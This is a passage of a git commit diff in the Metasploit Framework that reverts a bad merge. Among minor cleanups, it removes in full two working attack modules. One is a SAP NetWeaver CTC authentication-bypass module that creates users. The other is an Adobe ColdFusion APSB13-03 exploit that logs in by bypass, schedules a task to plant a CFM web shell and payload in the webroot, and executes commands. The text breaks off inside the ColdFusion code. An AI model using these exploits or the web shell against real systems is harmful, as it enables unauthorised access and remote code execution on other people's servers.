Land @todbr7's recovery for @jvazquez-r7's disaster with #2168 landing
commit
12871c2fa4
Binary file not shown.
|
@ -180,7 +180,7 @@ module Services
|
||||||
def service_create(name, display_name, executable_on_host, startup=2, server=nil)
|
def service_create(name, display_name, executable_on_host, startup=2, server=nil)
|
||||||
adv = session.railgun.advapi32
|
adv = session.railgun.advapi32
|
||||||
|
|
||||||
# SC_MANAGER_CONNECT 0x01
|
# SC_MANAGER_CONNECT 0x01
|
||||||
# SC_MANAGER_CREATE_SERVICE 0x02
|
# SC_MANAGER_CREATE_SERVICE 0x02
|
||||||
# SC_MANAGER_QUERY_LOCK_STATUS 0x10
|
# SC_MANAGER_QUERY_LOCK_STATUS 0x10
|
||||||
open_sc_manager(:host=>server, :access=>0x13) do |manager|
|
open_sc_manager(:host=>server, :access=>0x13) do |manager|
|
||||||
|
@ -292,7 +292,7 @@ module Services
|
||||||
# Now to grab a handle to the service.
|
# Now to grab a handle to the service.
|
||||||
# Thank you, Wine project for defining the DELETE constant since it,
|
# Thank you, Wine project for defining the DELETE constant since it,
|
||||||
# and all its friends, are missing from the MSDN docs.
|
# and all its friends, are missing from the MSDN docs.
|
||||||
# #define DELETE 0x00010000
|
# #define DELETE 0x00010000
|
||||||
handle = adv.OpenServiceA(manager, name, 0x10000)
|
handle = adv.OpenServiceA(manager, name, 0x10000)
|
||||||
if (handle["return"] == 0)
|
if (handle["return"] == 0)
|
||||||
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
|
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
|
||||||
|
@ -306,51 +306,6 @@ module Services
|
||||||
handle["GetLastError"]
|
handle["GetLastError"]
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Query Service Status
|
|
||||||
#
|
|
||||||
# @param (see #service_start)
|
|
||||||
#
|
|
||||||
# @return {} representing lpServiceStatus
|
|
||||||
#
|
|
||||||
# @raise (see #service_start)
|
|
||||||
#
|
|
||||||
#
|
|
||||||
def service_status(name, server=nil)
|
|
||||||
adv = session.railgun.advapi32
|
|
||||||
ret = nil
|
|
||||||
|
|
||||||
# 0x80000000 GENERIC_READ
|
|
||||||
open_sc_manager(:host=>server, :access=>0x80000000) do |manager|
|
|
||||||
# Now to grab a handle to the service.
|
|
||||||
handle = adv.OpenServiceA(manager, name, 0x80000000)
|
|
||||||
if (handle["return"] == 0)
|
|
||||||
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
|
|
||||||
end
|
|
||||||
|
|
||||||
status = adv.QueryServiceStatus(handle["return"],28)
|
|
||||||
if (status["return"] == 0)
|
|
||||||
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{handle["GetLastError"]}")
|
|
||||||
end
|
|
||||||
|
|
||||||
vals = status['lpServiceStatus'].unpack('L*')
|
|
||||||
|
|
||||||
adv.CloseServiceHandle(handle["return"])
|
|
||||||
|
|
||||||
ret = { :type=> vals[0],
|
|
||||||
:state=> vals[1],
|
|
||||||
:controls_accepted=> vals[2],
|
|
||||||
:win32_exit_code=> vals[3],
|
|
||||||
:service_exit_code=> vals[4],
|
|
||||||
:check_point=> vals[5],
|
|
||||||
:wait_hint=> vals[6],
|
|
||||||
}
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
return ret
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -27,10 +27,6 @@ class Def_advapi32
|
||||||
def self.create_dll(dll_path = 'advapi32')
|
def self.create_dll(dll_path = 'advapi32')
|
||||||
dll = DLL.new(dll_path, ApiConstants.manager)
|
dll = DLL.new(dll_path, ApiConstants.manager)
|
||||||
|
|
||||||
dll.add_function('QueryServiceStatus', 'DWORD', [
|
|
||||||
['LPVOID', 'hService', 'in'],
|
|
||||||
['PBLOB', 'lpServiceStatus', 'out']])
|
|
||||||
|
|
||||||
dll.add_function('CredEnumerateA', 'BOOL', [
|
dll.add_function('CredEnumerateA', 'BOOL', [
|
||||||
['PCHAR', 'Filter', 'in'],
|
['PCHAR', 'Filter', 'in'],
|
||||||
['DWORD', 'Flags', 'in'],
|
['DWORD', 'Flags', 'in'],
|
||||||
|
|
|
@ -1,113 +0,0 @@
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit4 < Msf::Auxiliary
|
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'Gighub pulls requests files changed summary',
|
|
||||||
'Description' => %q{
|
|
||||||
This module uses the github api to summarize files changed
|
|
||||||
by pull requests.
|
|
||||||
},
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
['URL', 'http://developer.github.com/v3/pulls/#list-pull-requests']
|
|
||||||
],
|
|
||||||
'DisclosureDate' => 'Mar 11 2013',
|
|
||||||
'Author' => [ 'juan vazquez' ],
|
|
||||||
'License' => MSF_LICENSE
|
|
||||||
)
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
Opt::RPORT(443),
|
|
||||||
Opt::RHOST('api.github.com'),
|
|
||||||
OptString.new("TARGETURI", [true, 'The URI directory where basic auth is enabled', '/']),
|
|
||||||
OptString.new("OWNER", [true, 'The Repo owner', 'rapid7']),
|
|
||||||
OptString.new("REPO", [true, 'The Repo name', 'metasploit-framework']),
|
|
||||||
OptString.new("USERNAME", [true, 'Github username', 'jvazquez-r7']),
|
|
||||||
OptString.new("PASSWORD", [true, 'Github password',]),
|
|
||||||
OptBool.new('SSL', [true, 'Use SSL', true])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
def get_files(id)
|
|
||||||
res = send_request_cgi({
|
|
||||||
'uri' => normalize_uri(target_uri.path, "repos", @owner, @repo, "pulls", id, "files"),
|
|
||||||
'method' => 'GET',
|
|
||||||
'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD'])
|
|
||||||
})
|
|
||||||
|
|
||||||
if res and res.code == 200
|
|
||||||
if res.headers['X-RateLimit-Remaining'].to_i == 0
|
|
||||||
print_error("Warning Rate Limit reached retrieving files for ##{id}")
|
|
||||||
print_error("Your rate limit is #{res.headers['X-RateLimit-Limit']}")
|
|
||||||
end
|
|
||||||
files = JSON.parse(res.body)
|
|
||||||
return files.map { |f| "#{f["filename"]} => #{f["status"]}" }
|
|
||||||
else
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def run
|
|
||||||
|
|
||||||
@owner = datastore["OWNER"]
|
|
||||||
@repo = datastore["REPO"]
|
|
||||||
|
|
||||||
pulls = []
|
|
||||||
|
|
||||||
page = 1
|
|
||||||
|
|
||||||
begin
|
|
||||||
res = send_request_cgi({
|
|
||||||
'uri' => normalize_uri(target_uri.path, "repos", @owner, @repo, "pulls"),
|
|
||||||
'method' => 'GET',
|
|
||||||
'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
|
|
||||||
'vars_get' => {
|
|
||||||
'page' => "#{page}"
|
|
||||||
}
|
|
||||||
})
|
|
||||||
|
|
||||||
if res and res.code == 200 and res.headers['X-RateLimit-Remaining'].to_i > 0
|
|
||||||
p_pulls = JSON.parse(res.body)
|
|
||||||
pulls << p_pulls
|
|
||||||
pulls.flatten!
|
|
||||||
else
|
|
||||||
print_error("Error retrieving pulls requests")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
page = page + 1
|
|
||||||
end while (res and res.code == 200 and not p_pulls.empty?)
|
|
||||||
|
|
||||||
results_table = Rex::Ui::Text::Table.new(
|
|
||||||
'Header' => 'GitHub Pull Requests Summary',
|
|
||||||
'Indent' => 1,
|
|
||||||
'Columns' => ['Pull #', 'Pull Title', '# Files', 'Modifications']
|
|
||||||
)
|
|
||||||
|
|
||||||
pulls.each {|p|
|
|
||||||
if p["state"] == "open"
|
|
||||||
files = get_files(p["number"])
|
|
||||||
if files.nil?
|
|
||||||
results_table << [p["number"], p["title"], "-", "-"]
|
|
||||||
next
|
|
||||||
end
|
|
||||||
|
|
||||||
results_table << [p["number"], p["title"], files.length, files.join(", ")]
|
|
||||||
end
|
|
||||||
}
|
|
||||||
|
|
||||||
print_line
|
|
||||||
print_line(results_table.to_s)
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -75,7 +75,22 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def access_configuration
|
def access_configuration
|
||||||
print_status("#{rhost}:#{rport} - Connecting to SiteScope SOAP Interface")
|
|
||||||
|
data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
|
||||||
|
data << "<wsns0:Envelope" + "\r\n"
|
||||||
|
data << "xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
|
||||||
|
data << "xmlns:xsd='http://www.w3.org/2001/XMLSchema'" + "\r\n"
|
||||||
|
data << "xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'" + "\r\n"
|
||||||
|
data << ">" + "\r\n"
|
||||||
|
data << "<wsns0:Body" + "\r\n"
|
||||||
|
data << "wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'" + "\r\n"
|
||||||
|
data << ">" + "\r\n"
|
||||||
|
data << "<impl:getSiteScopeConfiguration" + "\r\n"
|
||||||
|
data << "xmlns:impl='http://Api.freshtech.COM'" + "\r\n"
|
||||||
|
data << "></impl:getSiteScopeConfiguration>" + "\r\n"
|
||||||
|
data << "</wsns0:Body>" + "\r\n"
|
||||||
|
data << "</wsns0:Envelope>"
|
||||||
|
|
||||||
print_status("#{@peer} - Retrieving the SiteScope Configuration")
|
print_status("#{@peer} - Retrieving the SiteScope Configuration")
|
||||||
|
|
||||||
uri = normalize_uri(@uri, 'services/APISiteScopeImpl')
|
uri = normalize_uri(@uri, 'services/APISiteScopeImpl')
|
||||||
|
@ -88,6 +103,7 @@ class Metasploit4 < Msf::Auxiliary
|
||||||
'headers' => {
|
'headers' => {
|
||||||
'SOAPAction' => '""',
|
'SOAPAction' => '""',
|
||||||
}})
|
}})
|
||||||
|
|
||||||
if res and res.code == 200
|
if res and res.code == 200
|
||||||
|
|
||||||
if res.headers['Content-Type'] =~ /boundary="(.*)"/
|
if res.headers['Content-Type'] =~ /boundary="(.*)"/
|
||||||
|
|
|
@ -109,7 +109,26 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
:proto => 'tcp',
|
:proto => 'tcp',
|
||||||
:update => :unique_data
|
:update => :unique_data
|
||||||
)
|
)
|
||||||
|
rescue ::RbMysql::ServerError
|
||||||
|
vprint_warning("#{peer} - #{dir} does not exist")
|
||||||
|
rescue ::RbMysql::Error => e
|
||||||
|
vprint_error("#{peer} - MySQL Error: #{e.class} #{e.to_s}")
|
||||||
|
return
|
||||||
|
rescue Rex::ConnectionTimeout => e
|
||||||
|
vprint_error("#{peer} - Timeout: #{e.message}")
|
||||||
|
return
|
||||||
|
else
|
||||||
|
print_good("#{peer} - #{dir} is a file and exists")
|
||||||
|
report_note(
|
||||||
|
:host => rhost,
|
||||||
|
:type => "filesystem.file",
|
||||||
|
:data => "#{dir} is a file and exists",
|
||||||
|
:port => rport,
|
||||||
|
:proto => 'tcp',
|
||||||
|
:update => :unique_data
|
||||||
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -67,4 +67,3 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -1,83 +0,0 @@
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# Framework web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/framework/
|
|
||||||
##
|
|
||||||
|
|
||||||
##
|
|
||||||
# This module is based on, inspired by, or is a port of a plugin available in
|
|
||||||
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
|
|
||||||
# http://www.onapsis.com/research-free-solutions.php.
|
|
||||||
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
|
|
||||||
# in producing the Metasploit modules and was happy to share his knowledge and
|
|
||||||
# experience - a very cool guy.
|
|
||||||
#
|
|
||||||
# The following guys from ERP-SCAN deserve credit for their contributions -
|
|
||||||
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
|
|
||||||
# Dmitry Evdokimov.
|
|
||||||
#
|
|
||||||
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
|
|
||||||
# who have Beta tested the modules and provided excellent feedback. Some people
|
|
||||||
# just seem to enjoy hacking SAP :)
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit4 < Msf::Auxiliary
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
|
||||||
include Msf::Auxiliary::Report
|
|
||||||
include Msf::Auxiliary::Scanner
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'SAP CTC Service Verb Tampering (add user and add role)',
|
|
||||||
'Description' => %q{
|
|
||||||
This module exploits an authentication bypass vulnerability in SAP NetWeaver
|
|
||||||
CTC service. The service is vulnerable to verb tampering and allows for unauthorised
|
|
||||||
user management. SAP Note 1589525, 1624450 / DSECRG-11-041.
|
|
||||||
},
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'URL', 'http://erpscan.com/advisories/dsecrg-11-041-sap-netweaver-authentication-bypass-verb-tampering/' ]
|
|
||||||
],
|
|
||||||
'Author' => ['nmonkee'],
|
|
||||||
'License' => MSF_LICENSE
|
|
||||||
)
|
|
||||||
|
|
||||||
register_options([
|
|
||||||
OptString.new('USER', [true, 'Username to create']),
|
|
||||||
OptString.new('PASS', [true, 'Password for the new user']),
|
|
||||||
OptString.new('GROUP', [true, 'Group for the new user'])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
def run_host(ip)
|
|
||||||
uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=' + datastore['USER'] + ',PASSWORD=' + datastore['PASS']
|
|
||||||
send_request(uri)
|
|
||||||
uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=' + datastore['USER'] + ',GROUPNAME=' + datastore['GROUP']
|
|
||||||
send_request(uri)
|
|
||||||
end
|
|
||||||
|
|
||||||
def send_request(uri)
|
|
||||||
begin
|
|
||||||
vprint_status("#{rhost}:#{rport} - Sending request to the CTC service...")
|
|
||||||
res = send_request_cgi({
|
|
||||||
'uri' => uri,
|
|
||||||
'method' => 'HEAD',
|
|
||||||
'ctype' => 'text/xml; charset=UTF-8',
|
|
||||||
'cookie' => 'sap-usercontext=sap-language=EN'
|
|
||||||
})
|
|
||||||
if res
|
|
||||||
vprint_error("#{rhost}:#{rport} - Error code: " + res.code.to_s)
|
|
||||||
vprint_error("#{rhost}:#{rport} - Error title: " + res.message.to_s)
|
|
||||||
vprint_error("#{rhost}:#{rport} - Error message: " + res.body.to_s)
|
|
||||||
else
|
|
||||||
print_good("User successfully added")
|
|
||||||
end
|
|
||||||
rescue ::Rex::ConnectionError
|
|
||||||
print_error("#{rhost}:#{rport} - Unable to connect")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,603 +0,0 @@
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
require 'digest/sha1'
|
|
||||||
require 'openssl'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
|
||||||
include Msf::Exploit::Remote::HttpServer
|
|
||||||
include Msf::Exploit::FileDropper
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'Adobe ColdFusion APSB13-03',
|
|
||||||
'Description' => %q{
|
|
||||||
This module exploits a number of vulnerabilities in Adobe ColdFusion APSB13-03:
|
|
||||||
CVE-2013-0625 (arbitrary command execution in scheduleedit.cfm (9.x only)),
|
|
||||||
CVE-2013-0629 (directory traversal), and (authentication bypass)
|
|
||||||
},
|
|
||||||
'Author' =>
|
|
||||||
[
|
|
||||||
'Jon Hart <jon_hart[at]rapid7.com>', # Metasploit module
|
|
||||||
],
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'CVE', '2013-0625'],
|
|
||||||
[ 'CVE', '2013-0629'],
|
|
||||||
[ 'CVE', '2013-0632']
|
|
||||||
],
|
|
||||||
'Targets' =>
|
|
||||||
[
|
|
||||||
['Automatic Targeting', { 'auto' => true }],
|
|
||||||
[
|
|
||||||
'Universal CMD',
|
|
||||||
{
|
|
||||||
'Arch' => ARCH_CMD,
|
|
||||||
'Platform' => ['unix', 'win', 'linux']
|
|
||||||
}
|
|
||||||
]
|
|
||||||
],
|
|
||||||
'DefaultTarget' => 1,
|
|
||||||
'Privileged' => true,
|
|
||||||
'Platform' => [ 'win', 'linux', 'unix' ],
|
|
||||||
'DisclosureDate' => 'Jan 15 2013'))
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
Opt::RPORT(80),
|
|
||||||
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
|
||||||
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
|
||||||
OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]),
|
|
||||||
OptString.new('CMD', [ false, 'Command to run rather than dropping a payload', '' ]),
|
|
||||||
], self.class)
|
|
||||||
|
|
||||||
register_advanced_options(
|
|
||||||
[
|
|
||||||
OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]),
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
def check
|
|
||||||
exploitable = 0
|
|
||||||
exploitable += 1 if check_cve_2013_0629
|
|
||||||
exploitable += 1 if check_cve_2013_0632
|
|
||||||
exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
|
|
||||||
end
|
|
||||||
|
|
||||||
# Login any way possible, returning the cookies if successful, empty otherwise
|
|
||||||
def login
|
|
||||||
cf_cookies = {}
|
|
||||||
|
|
||||||
ways = {
|
|
||||||
'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },
|
|
||||||
'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },
|
|
||||||
'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },
|
|
||||||
}
|
|
||||||
ways.each do |what, how|
|
|
||||||
these_cookies = how.call
|
|
||||||
if got_auth? these_cookies
|
|
||||||
print_status "Authenticated using '#{what}' technique"
|
|
||||||
cf_cookies = these_cookies
|
|
||||||
break
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty?
|
|
||||||
cf_cookies
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
|
||||||
# login
|
|
||||||
cf_cookies = login
|
|
||||||
|
|
||||||
# relative to where we operate during the exploit,
|
|
||||||
# where is the CFIDE directory?
|
|
||||||
@cf_root = "../../wwwroot/CFIDE/"
|
|
||||||
|
|
||||||
# if we managed to login, get the listener ready
|
|
||||||
datastore['URIPATH'] = rand_text_alphanumeric(6)
|
|
||||||
if (datastore['SRVHOST'] == "0.0.0.0")
|
|
||||||
srv_host = Rex::Socket.source_address(rhost)
|
|
||||||
else
|
|
||||||
srv_host = datastore['SRVHOST']
|
|
||||||
end
|
|
||||||
srv_port = datastore['SRVPORT'] || 80
|
|
||||||
srv_uri = "http://#{srv_host}:#{srv_port}"
|
|
||||||
start_service
|
|
||||||
|
|
||||||
# drop a payload on disk which we can used to execute
|
|
||||||
# arbitrary commands, which will be needed regardless of
|
|
||||||
# which technique (cmd, payload) the user wants
|
|
||||||
input_exec = srv_uri + "/#{datastore['URIPATH']}-e"
|
|
||||||
output_exec = "#{datastore['URIPATH']}-e.cfm"
|
|
||||||
register_file_for_cleanup @cf_root + output_exec
|
|
||||||
schedule_drop cf_cookies, input_exec, output_exec
|
|
||||||
if datastore['CMD'] and not datastore['CMD'].empty?
|
|
||||||
# now that the coldfusion exec is on disk, execute it,
|
|
||||||
# passing in the command and arguments
|
|
||||||
parts = datastore['CMD'].split(/\s+/)
|
|
||||||
res = execute output_exec, parts.shift, parts.join(' ')
|
|
||||||
print_line res.body.strip
|
|
||||||
else
|
|
||||||
# drop the payload
|
|
||||||
input_payload = srv_uri + "/#{datastore['URIPATH']}-p"
|
|
||||||
output_payload = "#{datastore['URIPATH']}-p.bat"
|
|
||||||
register_file_for_cleanup @cf_root + output_payload
|
|
||||||
schedule_drop cf_cookies, input_payload, output_payload
|
|
||||||
# make the payload executable
|
|
||||||
# XXX: windows?
|
|
||||||
execute output_exec, 'chmod', "755 #{@cf_root}#{output_payload}"
|
|
||||||
# execute the payload
|
|
||||||
execute output_exec, "#{@cf_root}#{output_payload}"
|
|
||||||
end
|
|
||||||
handler
|
|
||||||
end
|
|
||||||
|
|
||||||
def execute(cfm=nil, cmd=nil, args='')
|
|
||||||
uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}"
|
|
||||||
send_request_cgi( { 'uri' => uri, 'method' => 'GET' }, 25 )
|
|
||||||
end
|
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
|
||||||
case request.uri
|
|
||||||
when "/#{datastore['URIPATH']}-e"
|
|
||||||
cf_payload = <<-EOF
|
|
||||||
<cfparam name="url.cmd" type="string" default="id"/>
|
|
||||||
<cfparam name="url.args" type="string" default=""/>
|
|
||||||
<cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />
|
|
||||||
<cfoutput>#output#</cfoutput>
|
|
||||||
EOF
|
|
||||||
when "/#{datastore['URIPATH']}-p"
|
|
||||||
cf_payload = payload.encoded
|
|
||||||
else
|
|
||||||
cf_payload = "test"
|
|
||||||
end
|
|
||||||
send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
# Given a hash of cookie key value pairs, return a string
|
|
||||||
# suitable for use as an HTTP Cookie header
|
|
||||||
def build_cookie_header(cookies)
|
|
||||||
cookies.to_a.map { |a| a.join '=' }.join '; '
|
|
||||||
end
|
|
||||||
|
|
||||||
# Using the provided +cookies+, schedule a ColdFusion task
|
|
||||||
# to request content from +input_uri+ and drop it in +output_path+
|
|
||||||
def schedule_drop(cookies, input_uri, output_path)
|
|
||||||
vprint_status "Attempting to schedule ColdFusion task"
|
|
||||||
cookie_hash = cookies
|
|
||||||
|
|
||||||
scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm"
|
|
||||||
scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm"
|
|
||||||
# make a request to the scheduletasks page to pick up the CSRF token
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => normalize_uri(target_uri.path, scheduletasks_path),
|
|
||||||
'method' => 'GET',
|
|
||||||
'connection' => 'TE, close',
|
|
||||||
'cookie' => build_cookie_header(cookie_hash),
|
|
||||||
})
|
|
||||||
|
|
||||||
if res
|
|
||||||
cookie_hash.merge! get_useful_cookies res
|
|
||||||
# XXX: I can only seem to get this to work if 'Enable Session Variables'
|
|
||||||
# is disabled (Server Settings -> Memory Variables)
|
|
||||||
token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first
|
|
||||||
unless token
|
|
||||||
print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"
|
|
||||||
token = ''
|
|
||||||
end
|
|
||||||
else
|
|
||||||
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing")
|
|
||||||
end
|
|
||||||
|
|
||||||
# make a request to the scheduletasks page again, this time passing in our CSRF token
|
|
||||||
# in an attempt to get all of the other cookies used in a request
|
|
||||||
cookie_hash.merge! get_useful_cookies res
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task",
|
|
||||||
'method' => 'GET',
|
|
||||||
'connection' => 'TE, close',
|
|
||||||
'cookie' => build_cookie_header(cookie_hash),
|
|
||||||
})
|
|
||||||
|
|
||||||
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res
|
|
||||||
|
|
||||||
# pick a unique task ID
|
|
||||||
task_id = SecureRandom.uuid
|
|
||||||
# drop the backdoor in the CFIDE directory so it can be executed
|
|
||||||
publish_file = "#{@cf_root}#{output_path}"
|
|
||||||
# pick a start date. This must be in the future, so pick
|
|
||||||
# one sufficiently far ahead to account for time zones,
|
|
||||||
# improper time keeping, solar flares, drift, etc.
|
|
||||||
start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}"
|
|
||||||
params = {
|
|
||||||
'csrftoken' => token,
|
|
||||||
'TaskName' => task_id,
|
|
||||||
'Group' => 'default',
|
|
||||||
'Start_Date' => start_date,
|
|
||||||
'End_Date' => '',
|
|
||||||
'ScheduleType' => 'Once',
|
|
||||||
'StartTimeOnce' => '1:37 PM',
|
|
||||||
'Interval' => 'Daily',
|
|
||||||
'StartTimeDWM' => '',
|
|
||||||
'customInterval_hour' => '0',
|
|
||||||
'customInterval_min' => '0',
|
|
||||||
'customInterval_sec' => '0',
|
|
||||||
'CustomStartTime' => '',
|
|
||||||
'CustomEndTime' => '',
|
|
||||||
'repeatradio' => 'norepeatforeverradio',
|
|
||||||
'Repeat' => '',
|
|
||||||
'crontime' => '',
|
|
||||||
'Operation' => 'HTTPRequest',
|
|
||||||
'ScheduledURL' => input_uri,
|
|
||||||
'Username' => '',
|
|
||||||
'Password' => '',
|
|
||||||
'Request_Time_out' => '',
|
|
||||||
'proxy_server' => '',
|
|
||||||
'http_proxy_port' => '',
|
|
||||||
'publish' => '1',
|
|
||||||
'publish_file' => publish_file,
|
|
||||||
'publish_overwrite' => 'on',
|
|
||||||
'eventhandler' => '',
|
|
||||||
'exclude' => '',
|
|
||||||
'onmisfire' => '',
|
|
||||||
'onexception' => '',
|
|
||||||
'oncomplete' => '',
|
|
||||||
'priority' => '5',
|
|
||||||
'retrycount' => '3',
|
|
||||||
'advancedmode' => 'true',
|
|
||||||
'adminsubmit' => 'Submit',
|
|
||||||
'taskNameOriginal' => task_id,
|
|
||||||
'groupOriginal' => 'default',
|
|
||||||
'modeOriginal' => 'server',
|
|
||||||
}
|
|
||||||
|
|
||||||
cookie_hash.merge! (get_useful_cookies res)
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => normalize_uri(target_uri.path, scheduleedit_path),
|
|
||||||
'method' => 'POST',
|
|
||||||
'cookie' => build_cookie_header(cookie_hash),
|
|
||||||
'vars_post' => params,
|
|
||||||
})
|
|
||||||
|
|
||||||
if res
|
|
||||||
# if there was something wrong with the task, capture those errors
|
|
||||||
# print them and abort
|
|
||||||
errors = res.body.scan(/<li class="errorText">(.*)<\/li>/i).flatten
|
|
||||||
if errors.empty?
|
|
||||||
if res.body =~ /SessionManagement should/
|
|
||||||
fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF")
|
|
||||||
end
|
|
||||||
print_status "Created task #{task_id}"
|
|
||||||
else
|
|
||||||
fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}")
|
|
||||||
end
|
|
||||||
else
|
|
||||||
fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}")
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status "Executing task #{task_id}"
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server",
|
|
||||||
'method' => 'GET',
|
|
||||||
'cookie' => build_cookie_header(cookie_hash),
|
|
||||||
})
|
|
||||||
|
|
||||||
if datastore['DELETE_TASK']
|
|
||||||
print_status "Removing task #{task_id}"
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}",
|
|
||||||
'method' => 'GET',
|
|
||||||
'cookie' => build_cookie_header(cookie_hash),
|
|
||||||
})
|
|
||||||
end
|
|
||||||
|
|
||||||
vprint_status normalize_uri(target_uri, publish_file)
|
|
||||||
publish_file
|
|
||||||
end
|
|
||||||
|
|
||||||
# Given the HTTP response +res+, extract any interesting, non-empty
|
|
||||||
# cookies, returning them as a hash
|
|
||||||
def get_useful_cookies(res)
|
|
||||||
